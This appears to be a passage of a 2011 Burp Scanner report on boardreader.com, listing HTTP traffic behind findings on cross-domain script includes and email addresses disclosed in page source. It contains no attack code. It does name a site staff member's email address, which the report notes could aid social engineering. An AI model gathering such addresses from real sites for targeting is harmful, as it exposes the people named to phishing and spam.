HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:34 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </div>
GET /pop/news/-/-/3.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:31 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
The response dynamically includes the following scripts from other domains:
http://hit.clickaider.com/clickaider.js
http://www.google-analytics.com/urchin.js
Request
GET /pop/projects.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:55 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </div>
GET /pop/releases/-/-/3.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:33 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
The response dynamically includes the following scripts from other domains:
http://hit.clickaider.com/clickaider.js
http://www.google-analytics.com/urchin.js
Request
GET /pop/sites.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:40 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </div>
The response dynamically includes the following scripts from other domains:
http://hit.clickaider.com/clickaider.js
http://www.google-analytics.com/urchin.js
Request
GET /pop/topics.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:47 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </div>
GET /pop/videos/-/-/3.html HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:30 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]... </div>
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
mymail@host.com
Request
GET /js/dyn/afc90e59a7aa9502c583c11ef4891ce4.js HTTP/1.1 Host: boardreader.com Proxy-Connection: keep-alive Referer: http://boardreader.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; human_user=true; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 18:13:32 GMT Server: Apache Last-Modified: Wed, 02 Feb 2011 12:43:38 GMT Accept-Ranges: bytes Cache-Control: max-age=315360000 Expires: Sun, 31 Jan 2021 18:13:32 GMT Vary: Accept-Encoding Content-Type: application/x-javascript Age: 5915 Connection: keep-alive Content-Length: 60142
var loginRegExp=/^[a-z0-9_]+$/i; var emailRegExp=/^[0-9a-z_\.-]+\@[0-9a-z\.-]+\.[a-z]{2,3}$/i; var googleAdClientRegExp=/^[a-z0-9-]+$/i; var googleAdChannelRegExp=/^[a-z0-9-]{3,10}$/i; var site ...[SNIP]...
if(formObj[email].value == '') { alert('\'e-mail\' should be not empty'); return false; } else if(!emailRegExp.test(formObj[email].value)) { alert('Sorry, \'e-mail\' incorrect, it should be like mymail@host.com'); return false; } else { return true; /* formObj.submit(); */ } }
function mySubscriptionSubmit(event,is_logged_on,formObj,subscriptionType,email,loginType,enableValidate,enableSubscription ...[SNIP]... ('\'e-mail\' should be not empty'); return false; } else if(typeof(formObj[email]) != 'undefined' && !emailRegExp.test(formObj[email].value)) { alert('Sorry, \'e-mail\' incorrect, it should be like mymail@host.com'); return false; } else if( mode == 'signup' && formObj[site].value != '' && !siteUrlRegExp.test(formObj[site].value) ) { alert('Sorry, \'site\' incorrect, it should be like mysite.com'); ret ...[SNIP]... '); } else if( typeof(formObj[email]) != 'undefined' && ( formObj[email].value == '' || !emailRegExp.test(formObj[email].value) ) ) { alert('Sorry, \'e-mail\' incorrect, it should be like mymail@host.com'); } else if( typeof(formObj[oldsite]) != 'undefined' && typeof(formObj[site]) != 'undefined' && formObj[oldsite].value != formObj[site].value && !siteUrlRegExp.test(formObj[site].value) ) {
The following email address was disclosed in the response:
spurdon@boardreader.com
Request
GET /opensearch.xml HTTP/1.1 Host: boardreader.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; human_user=true; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmb=69622787; __utmc=69622787
Response
HTTP/1.0 200 OK Last-Modified: Mon, 13 Apr 2009 05:51:55 GMT Accept-Ranges: bytes Content-Length: 1627 Content-Type: text/xml Warning: 113 WEB04.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 web05.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 WEB04.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 web05.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 WEB04.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 web05.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 WEB04.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 web05.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Warning: 113 WEB04.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Date: Thu, 03 Feb 2011 19:49:50 GMT Server: Apache Age: 118028 Warning: 113 web05.boardreader.com (squid) This cache hit is still fresh and more than 1 day old Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?> <OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <!-- Created on Wed, 03 Jan 2007 2 ...[SNIP]... <Contact>spurdon@boardreader.com</Contact> ...[SNIP]...